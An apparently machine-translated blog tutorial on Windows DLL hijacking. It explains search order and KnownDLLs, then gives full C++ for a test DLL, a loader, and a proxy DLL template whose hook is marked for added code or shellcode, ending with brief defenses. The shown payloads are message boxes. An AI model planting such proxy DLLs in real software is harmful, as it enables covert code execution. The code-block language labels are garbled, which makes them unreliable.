Are there more and more judgments in the days? Hijack with DLL and do something!

0x01 dll introduction

In Windows system, in order to save memory and realize code reuse, Microsoft has implemented a way of sharing function library in Windows operating system. This is DLL (Dynamic Link Library), that is, dynamic link library, which contains code and data that can be used by multiple programs at the same time.

Each DLL has an entry function (DLLMain), which will be called by the system in a specific environment. The DLL's entry function will be called when the following events occur:

  • 1. Process loading DLL.
  • 2. Process uninstall DLL.
  • 3. After the DLL is loaded, a new thread is created.
  • 4. A thread was terminated after the DLL was loaded. In addition, each DLL file contains an export function table, also known as the output table (which exists in the. edata section of PE). Using some PE file viewing tools such as LoadPE, you can view the symbolic name of the exported function, that is, the function name and the identification number of the function in the exported function table.
    There are two ways to link the application import function with the export function in the DLL file: load time dynamic linking, also known as static call, and run time dynamic linking, also known as dynamic call. Implicit linking is generally used for development and debugging, while explicit linking is that we commonly use LoadLibary or LoadLibraryEx functions (Note: there are many functions related to module loading) to load DLLs and call corresponding export functions. When calling the LoadLibrary or LoadLibraryEx function, you can use the relative path or absolute path of the DLL,

dll path search rule

But in many cases, developers use relative paths to load DLLs. In this case, the Windows system will search some directories in a specific order to determine the full path of the DLL. For more details on the search order of dynamic link libraries, see MSDN. According to the MSDN document, when calling the LoadLibrary function using the relative path of the DLL, the system will find the DLL file to be called from the following locations in turn.

  • 1. Program directory.
  • 2. The current directory where the DLL is loaded.
  • 3. System directory is SYSTEM32 directory.
  • 4.16-bit SYSTEM directory is the SYSTEM directory.
  • 5.Windows directory.
  • 6. In order to prevent DLL hijacking vulnerability, Microsoft added a registry attribute of SafeDllSearchMode after XP SP2. The registry path is as follows:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

When the value of SafeDllSearchMode is set to 1, that is, the safe DLL search mode is turned on, the directory order of finding DLLs is as follows:

  • 1. Program directory
  • 2. System directory is SYSTEM32 directory.
  • 3.16-bit SYSTEM directory is the SYSTEM directory.
  • 4.Windows directory.
  • 5. The current directory where the DLL is loaded.
  • 6. Directories listed in the path environment variable.

Version above win7

In order to further prevent the system DLL from being hijacked, Microsoft writes some system DLLs that are easy to be hijacked into a registry key. Then all DLL files under this key will be prohibited from calling from the directory where EXE itself is located, but can only be called from the system directory, that is, the SYSTEM32 directory. The registry path is as follows:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

Some commonly used hijacking DLLs have been added to the KnownDLLs registry key, which means using such as usp10.dll, lpk.dll and ws2_32.dll for DLL hijacking has failed.

Therefore, when SafeDllSearchMode is enabled on win7 and above, the search order is as follows

  • 1. Directory where the application is located.
  • 2. System directory SYSTEM32 directory.
  • 3.16 bit system directory. There is no function to get the directory path, but it will be searched.
  • 4.Windows directory. Use the GetWindowsDirectory function to get the path to this directory.
  • 5. Current directory
  • 6. All directories in the environment variable PATH. It should be noted that the application PATH specified by the App Paths registry key is not included here.
    The Windows operating system determines the path of the DLL to be called by the application through the mechanisms of "DLL path search directory order" and "KnownDLLs registry key". After that, the application loads the DLL into its own memory space and executes the corresponding functions.
    However, Microsoft inexplicably allows users to add the "ExcludeFromKnownDlls" registry key in the above registry path, excluding some DLLs protected by the "KnownDLLs registry key" mechanism. In other words, you can hijack the DLL by adding the name of the DLL you want to hijack in the "ExcludeFromKnownDlls" registry key, but the modification needs to restart the computer to take effect.

In the whole process of loading the DLL described above, the DLL hijacking vulnerability occurs when the system installs the "DLL path search directory order" to search the DLL.

No matter whether the secure dll search mode is enabled or not, the system will always first load the dll from the directory where the application (program installation directory) is located. If it is not found, search in the above order. Then, using this feature, an attacker can forge a dll with the same name. As long as the dll is not in the KnownDLLs registry key, we can hijack the dll for testing.

Key value

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

The of win10 is as follows

0x02 looking for hijacking dll

There are many software that can view the dll loaded by exe

process-explorer

https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer

Tinder sword

Process Monitor

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon

When using, you can set Filter and fill in Filter conditions, which can help eliminate a lot of useless information

Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys

Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys

Similar to the following figure, the dll is in the KnownDLLs registry key

0x03 hijacking test

Here's a hijacking experiment with D-shield

Or use Process Explorer first

You can compare these dll files with the dll in the KnownDLLs registry key to find out the dll out of range for hijacking test

Of course, there are lazy methods, batch automated testing

Here, ctrl+s can directly save the obtained information text, and then extract the path information through regularization, and then put it into the batch verification tool


If it exists, the result will be output directly

If it does not exist, no will be displayed

The above shows that there are two DLLs that may be hijacked
Here, directly put a bullet calculator DLL, change it to WINSTA.dll, put it in the D shield directory, and then run D shield. It pops up successfully.

0x04 advanced test

However, this method only hijacks the functions that load the computer. The original dll has many other export functions. Such direct hijacking may cause the program to fail to start normally.

Therefore, generally, a "false" DLL with the same name and the same export function table will be made, and each export function will be turned to a "true" DLL. Put this "fake" DLL into the program directory. When the program calls the functions in the DLL, it will first load the "fake" DLL. In the "fake" DLL, the attacker has added malicious code, and then these malicious code will be executed. Then, the "fake" DLL will turn the DLL call process to the "true" DLL to avoid affecting the normal execution of the program.

Here we make a pop-up dll to test,

1. First create a new DLL project using VS2019

2. Add under the generated dllmain.cpp

Bash

void msg() {
    MessageBox(0, L"Dll-1 load  succeed!", L"Good", 0);
}

3. Then add the following code to the framework.h file under the header file to compile and export the dll file

Bash

#pragma once
#define WIN32_LEAN_AND_MEAN / / exclude rarely used content from the Windows header file
// Windows header file
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);

Then compile to generate Dll1.dll

Create a new C + + project and fill in the following code

Go

#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
    // Define a function class DLLFUNC
    typedef void(*DLLFUNC)(void);
    DLLFUNC GetDllfunc = NULL;
    // Specifies the dll library to load dynamically
    HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//DLL to load
    if (hinst != NULL) {
        // Get function location
        GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//Function name
    }
    if (GetDllfunc != NULL) {
        //Run msg function
        (*GetDllfunc)();
    }
}

If you want to know the details of dll writing, you can see here
Generate the solution again, then put the previously generated Dll1.dll into the same directory as the generated Meg.exe and run Meg.exe

Success Popup
Here we use the idea of forwarding hijacking dll to try it
Here I use the script to generate a dll for hijacking

This is generated by default

Bash

# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC
{
              FARPROC Hijack_msg;
}
namespace DLLHijacker
{
    HMODULE m_hModule = NULL;
    DWORD m_dwReturn[17] = {0};
    inline BOOL WINAPI Load()
    {
        TCHAR tzPath[MAX_PATH];
        lstrcpy(tzPath, TEXT("Dll1"));
        m_hModule = LoadLibrary(tzPath);
        if (m_hModule == NULL)
            return FALSE;
        return (m_hModule != NULL);
    }
    FARPROC WINAPI GetAddress(PCSTR pszProcName)
    {
        FARPROC fpAddress;
        CHAR szProcName[16];
        fpAddress = GetProcAddress(m_hModule, pszProcName);
        if (fpAddress == NULL)
        {
            if (HIWORD(pszProcName) == 0)
            {
                wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
                pszProcName = szProcName;
            }
            ExitProcess(-2);
        }
        return fpAddress;
    }
}
using namespace DLLHijacker;
VOID Hijack()   //default open a calc. / / add your own code
{  
       
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        DisableThreadLibraryCalls(hModule);
        if(Load())
        {
            Hijack_msg = GetAddress("msg");
                     
            Hijack();
        }
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Before compiling and generating a new DLL, pay attention to changing Dll1 to Dll2.dll in the line of code

Bash

lstrcpy(tzPath, TEXT("Dll2.dll"));

Then add a pop-up window or execute shellcode on the line of code

Go

VOID Hijack()   //default open a calc.
{  
    MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0);
       
}

Then compile and generate
Then change the Dll1.dll we generated earlier to Dll2.dll, and put the two DLLs and Meg.exe in the same directory


There should be two pop-up windows when running Meg.exe

You can see that you hijack the pop-up window added by the DLL first, and then pop up the original pop-up window of the DLL

0x05 defense

Universal immunization programme:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\KnownDLLs] define a "known DLL name" under this registry key, then all DLL files under this key will be prohibited from calling from the EXE directory, but can only be called from the system directory, that is, system32 directory. According to this, you can write a simple DLL hijacking immune device
Or you can detect MD5 and size when loading dll to defend

Tags: C# Go Windows Cyber Security dll

Posted on Sat, 18 Sep 2021 09:23:00 -0400 by rish1103